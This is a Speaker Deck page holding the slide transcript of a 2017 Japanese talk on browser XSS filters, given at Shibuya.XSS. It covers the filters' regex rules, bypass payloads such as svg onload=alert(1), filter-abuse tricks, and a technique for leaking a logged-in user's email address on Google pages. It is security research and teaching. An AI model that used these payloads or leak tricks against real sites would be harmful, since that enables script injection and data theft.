Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
XSSフィルターの使い方/ Shibuya.XSS techtalk #9
Search
Masato Kinugawa
March 31, 2017
Technology
7
3.3k
XSSフィルターの使い方/ Shibuya.XSS techtalk #9
2017/3/30 に行われた Shibuya.XSS techtalk #9 の発表資料です。
Masato Kinugawa
March 31, 2017
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
Shadow DOMとセキュリティ - 光と影の境界を探る / Shibuya.XSS techtalk #13
masatokinugawa
0
390
Shadow DOM & Security - Exploring the boundary between light and shadow
masatokinugawa
1
1k
ブラウザのレガシー・独自機能を愛でる-Firefoxの脆弱性4選- / Browser Crash Club #1
masatokinugawa
1
770
注目したいクライアントサイドの脆弱性2選/ Security.Tokyo #3
masatokinugawa
8
3.8k
バグハンティングのすゝめ / P3NFEST
masatokinugawa
5
2.4k
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法/ Shibuya.XSS techtalk #12
masatokinugawa
13
20k
How I Hacked Microsoft Teams and got $150,000 in Pwn2Own
masatokinugawa
1
22k
JSでDoSる/ Shibuya.XSS techtalk #11
masatokinugawa
20
7k
Electron: Abusing the lack of context isolation - CureCon(en)
masatokinugawa
5
100k
Other Decks in Technology
See All in Technology
Jamf Connect ZTNAとMDMで実現! 金融ベンチャーにおける「デバイストラスト」実例と軌跡 / Kyash Device Trust
rela1470
0
120
Rubyの国のPerlMonger
anatofuz
3
730
MCP認可の現在地と自律型エージェント対応に向けた課題 / MCP Authorization Today and Challenges to Support Autonomous Agents
yokawasa
5
1.7k
生成AI時代におけるAI・機械学習技術を用いたプロダクト開発の深化と進化 #BetAIDay
layerx
PRO
1
1k
帳票構造化タスクにおけるLLMファインチューニングの性能評価
yosukeyoshida
1
230
みんなのSRE 〜チーム全員でのSRE活動にするための4つの取り組み〜
kakehashi
PRO
2
140
相互運用可能な学修歴クレデンシャルに向けた標準技術と国際動向
fujie
0
200
Amazon Q Developerを活用したアーキテクチャのリファクタリング
k1nakayama
2
180
Foundation Model × VisionKit で実現するローカル OCR
sansantech
PRO
0
290
Segment Anything Modelの最新動向:SAM2とその発展系
tenten0727
0
370
【CEDEC2025】『ウマ娘 プリティーダービー』における映像制作のさらなる高品質化へ!~ 豊富な素材出力と制作フローの改善を実現するツールについて~
cygames
PRO
0
230
【CEDEC2025】大規模言語モデルを活用したゲーム内会話パートのスクリプト作成支援への取り組み
cygames
PRO
2
770
Featured
See All Featured
Typedesign – Prime Four
hannesfritz
42
2.7k
Gamification - CAS2011
davidbonilla
81
5.4k
Raft: Consensus for Rubyists
vanstee
140
7k
Why You Should Never Use an ORM
jnunemaker
PRO
58
9.5k
Code Review Best Practice
trishagee
69
19k
Building a Scalable Design System with Sketch
lauravandoore
462
33k
Large-scale JavaScript Application Architecture
addyosmani
512
110k
Product Roadmaps are Hard
iamctodd
PRO
54
11k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
47
9.6k
The Cost Of JavaScript in 2023
addyosmani
51
8.7k
VelocityConf: Rendering Performance Case Studies
addyosmani
332
24k
Designing Experiences People Love
moore
142
24k
Transcript
None
None
❶ ➌ ❷ ❹
None
https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg onload=alert(1)>"> </body> </html>
https://example.com/?q="><svg+onload=alert(1)> <html> <body> <input value=""><svg #nload=alert#1#>"> </body> </html>
https://addons.mozilla.org/ja/firefox/addon/noscript/
HTTP/1.1 200 OK Date: Tue, 28 Mar 2017 06:16:00 GMT
Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
None
None
None
https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701 <input value=""><svg #nload=alert#1#>"> <input value=""><svg onload=alert(1)>">
None
<input value=""><svg #nload=alert#1#>"> <input value="<svg #nload=alert#1#>"> <!-- <svg #nload=alert(1)> -->
https://example.com/?q="><svg+onload=alert(1)>
<input value=""><svg onload=alert(1)>"> <input value="<svg onload=alert(1)>"> <!-- <aaa onload=alert(1)> -->
https://example.com/?q="><svg+onload=alert(1)>
https://example.com/?q="><svg+onload=alert(1)> https://example.com/#5382863726995448701
<title><script> - Google 検索</title> <script>(function(){window.google={kEI: [...] https://www.google.co.jp/search?q=<script>
<script src=//example.jp/jquery.js></script> <script> if(jQuery){ // Expected }else{ // ??? }
</script> https://example.com/?<script src=//example.jp/jquery.js></script>
None
{<a.*?hr{e}f} {[\"\'][ ]*(([^a-z0-9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])))).+?{\(}.*?{\)}} [...] {(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&#x?0 *((66)|(42)|(98)|(62));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53) |(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&#x?0*((67)|(43)|(99)|(63) );?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&#x?0*((82)|(52)|(114)|(72));?))([\t]| (&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9
|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(ta b;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} {<BUTTON[ /+\t].*?va{l}ue[ /+\t]*=} {<fo{r}m.*?>} {<OPTION[ /+\t].*?va{l}ue[ /+\t]*=} {<INPUT[ /+\t].*?va{l}ue[ /+\t]*=} [...] {<EM{B}ED[ /+\t].*?((src)|(type)).*?=} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} {<ME{T}A[ /+\t].*?((http-equiv)|(charset))[ /+\t]*=} [...] "><svg #nload=alert#1#>
[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=. "><svg[SPACE]onload=alert(1)>
"><svg onload=alert(1)> [\"\'][ ]*(([^a-z0- 9~_:\'\" ])|((i|(\\u0069))(n|(\\u006[Ee])) )).+?{\(}.*?{\)} x="";alert(1)//"
None
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf http://d.hatena.ne.jp/teracc/20090622
https://www.slideshare.net/masatokinugawa/xxn-ja
[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script> q = "";document#body.innerHTML="<xss>"; </script> URL:
?q=";document.body.innerHTML="<xss>
[\"\'][ ]*(([^a-z0-9~_:\'\" ])|(in)) .+?[.].+?= <script src> <script src="//example.co.jp/test.js" type="text/javascript"> </script>
URL: ?"/++.+++=
"style=:\ javascript:- vbscript:- vbs:- ",x[]= "{toString: "{valueOf:
<script src="//example^co.jp/test.js" type="text/javascript"> </script>
window#name//Syntax Error window^name//Syntax OK <script> window.name
None
url=location.search.slice(1); if(url^indexOf(":")!=-1){ url=null; } onload=function(){ if(url){location=url;} }
https://example.com/?q=";alert`1`// <script> q = "";alert`1`//"; </script> https://www.slideshare.net/x00mario/es6-en/34 ECMAScript 6 from
an Attacker's Perspective - Breaking Frameworks, Sandboxes, and everything else
https://example.com/?q=${alert(1)}``//&`+++` https://example.com/?q=[USER_INPUT] <script> foo=``; q="[USER_INPUT]"; </script> <script> foo=`#; q="${alert(1)}#`//"; </script>
https://example.com/?+onfiles+++=. <script src="/comm#nfiles/js/important.js" type="text/javascript"> </script> [...]
https://bugs.chromium.org/p/chromium/issues/detail?id=654794
None
http://blog.portswigger.net/2015/08/abusing-chromes-xss-auditor-to-steal.html
https://VICTIM/ https://VICTIM/?<xss> IFRAME ERROR https://ATTACKER/ win=window.open(…) if(win.length == 0){ //
// }else{ // } <script>…</script>
https://www.youtube.com/watch?v=IMDWjKFbsJE
HTTP/1.1 200 OK [...] Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options:
SAMEORIGIN
https://accounts.google.com/ServiceLogin?
google.ae google.as google.ca google.co google.co.in google.co.jp google.co.kr google.co.nz google.co.uk google.com.br
google.com.mx google.de google.es google.fr google.it google.pl google.pt google.ru ...(
✨ ✨ ✨
{<a.*?hr{e}f}
0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>
5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/
0 <ahref> 1 <aAhref> 2 <aAAhref> 3 <aAAAhref> 4 <aAAAAhref>
5 <aAAAAAhref> 6 <aAAAAAAhref> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> <a%XXhref https://example.com/?<a%2Bhref
0 <ahr#f> 1 <aAhr#f> 2 <aAAhr#f> 3 <aAAAhr#f> 4 <aAAAAhr#f>
5 <aAAAAAhr#f> 6 <aAAAAAAhr#f> 7 <aAAAAAAAhref> 8 <aAAAAAAAAhref> 9 <aAAAAAAAAAhref> 10<aAAAAAAAAAAhref> https://example.com/?<a%2Bhref
0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_
A a 0x00 0-9 < B-Z b-z
0x01-08 0x0E-1F !"$%'()*;=^`|~ 0x09-0D 0x20 + & > #,/:?[\]{} -.@_
A a 0x00 0-9 < B-Z b-z
<div class="gb_xb">
[email protected]
</div><div class="gb_pb"> {[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[.]}.+?=}
✔ ✔ ✔ ✔
<div class="gb_xb">
[email protected]
</div><div class="gb_pb">
https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
= https://www.google.co.jp/?"
[email protected]
=
https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.de/?"
[email protected]
= https://www.google.ru/?"
[email protected]
=
https://www.google.ru/?"
[email protected]
=
https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ru/?"
[email protected]
= https://www.google.ca/?"
[email protected]
= ...
✨ ✨ ✨
None
None
None
None
None